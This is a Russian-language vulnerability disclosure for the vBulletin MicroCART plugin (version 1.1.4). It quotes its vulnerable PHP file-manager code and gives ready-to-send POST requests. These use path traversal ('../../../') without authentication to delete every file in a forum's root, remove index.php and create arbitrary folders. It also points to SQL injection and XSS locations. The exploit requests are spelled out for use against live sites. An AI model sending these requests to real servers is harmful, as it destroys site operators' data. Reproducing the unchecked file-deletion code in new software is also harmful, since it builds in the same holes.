Плагин: http://www.vbulletin.org/forum/showthread.php?t=256723
Версия: 1.1.4 (latest)
Этот плагин довольно старый, но до сих пор используется многими людьми и получил свое последнее обновление почти 4 года назад.
Он уязвим для произвольного удаления файлов и SQL-инъекции.
Произвольное удаление файлов
В /microcart/editor/assetmanager/ содержится куча файлов, которые, вероятно, используется для управления файлами / папками для администратора, к сожалению, там нет проверки на аутентификацию, может ли пользователь иметь доступ к нему, и не проверить запрос на содержание ничего вредоносного.
Файл /microcart/editor/assetmanager/folderdel_.php содержит следующие:
Code:
$sMsg = "";
if(isset($_POST["inpCurrFolder"]))
{
$sDestination = pathinfo($_POST["inpCurrFolder"]);
//DELETE ALL FILES IF FOLDER NOT EMPTY
$dir = $_POST["inpCurrFolder"];
$handle = opendir($dir);
while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file);
closedir($handle);
if(rmdir($_POST["inpCurrFolder"])==0)
$sMsg = "";
else
$sMsg = "<script>document.write(getTxt('Folder deleted.'))</script>";
При отправке запроса POST к этому файлу, мы можем удалить каждый файл в указанной папке.
Code:
POST to: /microcart/editor/assetmanager/folderdel_.php
POST data: inpCurrFolder: ../../../
Этот запрос POST будет удалять каждый файл .php в корневом каталоге форума.
Произвольное удаления файла
Там еще одна уязвимость, которая находится в файле /microcart/editor/assetmanager/assetmanager.php. Она содержит функцию загрузки, которая является безопасной, и функцию удаления файлов, которая не являются безопасной. Мы можем удалить любой файл с сервера, злоупотребляя этим. Так, в отличие от предыдущей уязвимости где показанно как удалить все файлы, отправив запрос POST со значением папки, эта уязвимость будет удалять только 1 файл с сервера.
Уязвимый код:
Code:
if(isset($_POST["inpFileToDelete"]))
{
$filename=pathinfo($_POST["inpFileToDelete"]);
$filename=$filename['basename'];
if($filename!="")
unlink($currFolder . "/" . $filename);
$sMsg = "";
}
Пример использование (конечно же не показан полностью)
Code:
POST to: /microcart/editor/assetmanager/assetmanager.php
POST data: inpCurrFolder: ../../../
inpFileToDelete: index.php
Это приведет к удалению файла /index.php из корня.
Изменения атрибутов (разрешения ) файлов
Помимо удаления файлов, есть файл с названием /microcart/editor/assetmanager/foldernew.php что создает 0755 chmodded папку на сервере.
Файл содержит следующие:
Code:
$sMsg = "";
if(isset($_POST["inpNewFolderName"]))
{
$sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"];
if(is_dir($sFolder)==1)
{//folder already exist
$sMsg = "<script>document.write(getTxt('Folder already exists.'))</script>";
}
else
{
//if(mkdir($sFolder))
if(mkdir($sFolder,0755))
$sMsg = "<script>document.write(getTxt('Folder created.'))</script>";
else
$sMsg = "<script>document.write(getTxt('Invalid input.'))</script>";
}
}
Отправляя следующий запрос POST, мы создадим папку с разрешением 0755 chmodded.
Code:
POST to: /microcart/editor/assetmanager/foldernew.php
POST data: inpNewFolderName: davewashere
inpCurrFolder: ../../..
Этот запрос POST создаст davewashere папку в корне форума Vbulletin.
SQL Injection
MicroCART также уязвим к SQL-инъекции в нескольких местах, хотя большинство из них довольно трудно использовать для злоупотреблений. Я не буду объяснять, как использовать его, но уязвимость может быть найдена в /cart.php на линии с 833 по 881 , где Вы можете добавить товар в вашу корзину, в районе строки с 1251 по 1328, где $ _POST [‘fields’] присваивает значение переменной конфигурации, которая в дальнейшем используется в запросе.
Cross Site Scripting
При изменении информации на /cart.php?do=cpanel, вы можете вводить все, что вы хотите увидеть в этом поле.
Просмотр отзывов продукции могут быть уязвимы.